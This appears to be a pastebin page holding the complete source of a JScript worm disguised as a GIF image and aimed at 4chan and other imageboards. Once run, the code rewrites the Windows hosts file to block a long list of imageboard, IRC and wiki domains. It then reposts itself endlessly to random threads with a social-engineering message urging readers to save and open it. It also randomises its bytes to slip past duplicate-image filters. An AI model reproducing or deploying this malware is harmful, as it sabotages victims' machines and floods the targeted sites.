SHOW:
|
|
- or go back to the newest paste.
1 | GIF89a= " p 1,இ~ "; | |
2 | ||
3 | var targets = ["ns1.4chan.org", "ns2.4chan.org", "ns3.4chan.org", "www.4chan.org", "content.4chan.org", "orz.4chan.org", "tmp.4chan.org", "rs.4chan.org", "static.4chan.org", "zip.4chan.org", "bin.4chan.org", "dis.4chan.org", "img.4chan.org", "dat.4chan.org", "cgi.4chan.org", "nov.4chan.org", "4chan.org", "status.4chan.org", "4chanstatus.blogspot.com", "irc.rizon.net", "7chan.org", "www.7chan.org", "img.7chan.org", "dix.7chan.org", "irc.7chan.org", "420chan.org", "img.420chan.org", "disc.420chan.org", "irc.420chan.org", "blog.420chan.org", "radio.420chan.org", "711chan.org", "www.711chan.org", "irc.711chan.org", "99chan.org", "www.99chan.org", "irc.99chan.org", "12chan.org", "www.12chan.org", "img.12chan.org", "irc.12chan.org", "shii.org", "www.shii.org", "irc.partyvan.us", "irc.partyvan.fm", "irc.raidchan.org", "encyclopediadramatica.com", "www.encyclopediadramatica.com", "partyvan.eu", "www.partyvan.eu", "anontalk.com", "www.anontalk.com"]; | |
4 | ||
5 | ||
6 | ||
7 | // Character choices for random alphanumeric strings | |
8 | ||
9 | var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; | |
10 | ||
11 | ||
12 | ||
13 | // Last update time for front page | |
14 | ||
15 | var modtime = null; | |
16 | ||
17 | ||
18 | ||
19 | // Get copy of this script | |
20 | ||
21 | var fs = WSH.createObject("Scripting.FileSystemObject"); | |
22 | ||
23 | var thisfile = fs.openTextFile(WSH.scriptFullName, 1); | |
24 | ||
25 | var image = thisfile.readAll().replace(/\x01\x01\x01\x01.*?~/, "\x01\x01\x01\x01\u0b87~"); | |
26 | ||
27 | thisfile.close(); | |
28 | ||
29 | ||
30 | ||
31 | // Put copies of the script in System32 directory | |
32 | ||
33 | try { | |
34 | ||
35 | var shell = WScript.CreateObject("WScript.Shell"); | |
36 | ||
37 | var env = shell.environment("PROCESS"); | |
38 | ||
39 | var winpath = env("SYSTEMROOT"); | |
40 | ||
41 | var hostsfile = fs.openTextFile(winpath + "\\system32\\drivers\\etc\\hosts", 8); | |
42 | ||
43 | for (var i = 0; i < targets.length; i++) { | |
44 | ||
45 | hostsfile.writeLine("127.0.0.1 " + targets[i]); | |
46 | ||
47 | } | |
48 | ||
49 | hostsfile.close(); | |
50 | ||
51 | shell.Run("ipconfig /flushdns"); | |
52 | ||
53 | } catch(e) {} | |
54 | ||
55 | ||
56 | ||
57 | // Post it over and over | |
58 | ||
59 | var comment = "1. Open this image.\r\n2. Save it as lol.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks."; | |
60 | ||
61 | var filename = "lol.gif"; | |
62 | ||
63 | while (1) { | |
64 | ||
65 | try { | |
66 | ||
67 | // Modify "image" to get around duplicate image filter | |
68 | ||
69 | image = image.substr(0,image.length-20); | |
70 | ||
71 | for (var i = 0; i < 20; i++) { | |
72 | ||
73 | image = image + choices.charAt( Math.floor(Math.random()*choices.length) ); | |
74 | ||
75 | } | |
76 | ||
77 | ||
78 | ||
79 | // Create XMLHttp request object | |
80 | ||
81 | var request = WSH.createObject("Msxml2.XMLHTTP"); | |
82 | ||
83 | ||
84 | ||
85 | // Get a thread number | |
86 | ||
87 | request.open("get", "http://207.126.64.181/b/imgboard.html", 0); | |
88 | ||
89 | if (modtime != null) { | |
90 | ||
91 | request.setRequestHeader("If-Modified-Since", modtime); | |
92 | ||
93 | } | |
94 | ||
95 | request.send(); | |
96 | ||
97 | modtime = request.getResponseHeader("Last-Modified"); | |
98 | ||
99 | var threadlist = request.responseText.match(/<span id="nothread\d+/g); | |
100 | ||
101 | var thread = threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\d+/)[0]; | |
102 | ||
103 | ||
104 | ||
105 | // Set site to post to | |
106 | ||
107 | request.open("post", "http://207.126.64.182/b/imgboard.php", 0); | |
108 | ||
109 | ||
110 | ||
111 | // Set headers | |
112 | ||
113 | var bdry = ""; | |
114 | ||
115 | for (var i = 0; i < 20; i++) { | |
116 | ||
117 | bdry = bdry + choices.charAt( Math.floor(Math.random()*choices.length) ); | |
118 | ||
119 | } | |
120 | ||
121 | request.setRequestHeader( "Referer", "http://img.4chan.org/b/res/" + thread + ".html" ); | |
122 | ||
123 | request.setRequestHeader( "Content-Type", "multipart/form-data; boundary=" + bdry ); | |
124 | ||
125 | ||
126 | ||
127 | // Generate random password | |
128 | ||
129 | var pwd = ""; | |
130 | ||
131 | for (var i = 0; i < 8; i++) { | |
132 | ||
133 | pwd = pwd + choices.charAt( Math.floor(Math.random()*choices.length) ); | |
134 | ||
135 | } | |
136 | ||
137 | ||
138 | ||
139 | // Send post | |
140 | ||
141 | var post = "--%b%cMAX_FILE_SIZE\"\r\n\r\n2097152\r\n" | |
142 | ||
143 | + "--%b%cresto\"\r\n\r\n" + thread + "\r\n" | |
144 | ||
145 | + "--%b%cname\"\r\n\r\n\r\n" | |
146 | ||
147 | + "--%b%cemail\"\r\n\r\nnoko\r\n" | |
148 | ||
149 | + "--%b%csub\"\r\n\r\n\r\n" | |
150 | ||
151 | + "--%b%ccom\"\r\n\r\n" + comment + "\r\n" | |
152 | ||
153 | + "--%b%cupfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/gif\r\n\r\n"; | |
154 | ||
155 | var post2 = "\r\n" | |
156 | ||
157 | + "--%b%cpwd\"\r\n\r\n" + pwd + "\r\n" | |
158 | ||
159 | + "--%b%cmode\"\r\n\r\nregist\r\n" | |
160 | ||
161 | + "--%b--\r\n"; | |
162 | ||
163 | post = post.replace(/%b/g, bdry); | |
164 | ||
165 | post = post.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\""); | |
166 | ||
167 | post2 = post2.replace(/%b/g, bdry); | |
168 | ||
169 | post2 = post2.replace(/%c/g, "\r\nContent-Disposition: form-data; name=\""); | |
170 | ||
171 | request.send(post + image + post2); | |
172 | ||
173 | WSH.sleep( 45000 + Math.floor(30000 * Math.random()) ); | |
174 | ||
175 | } catch(e) {} | |
176 | ||
177 | } | |
178 | ||
179 | ||
180 | ||
181 | // 16Jck9k5ER3zAwlvwj6q |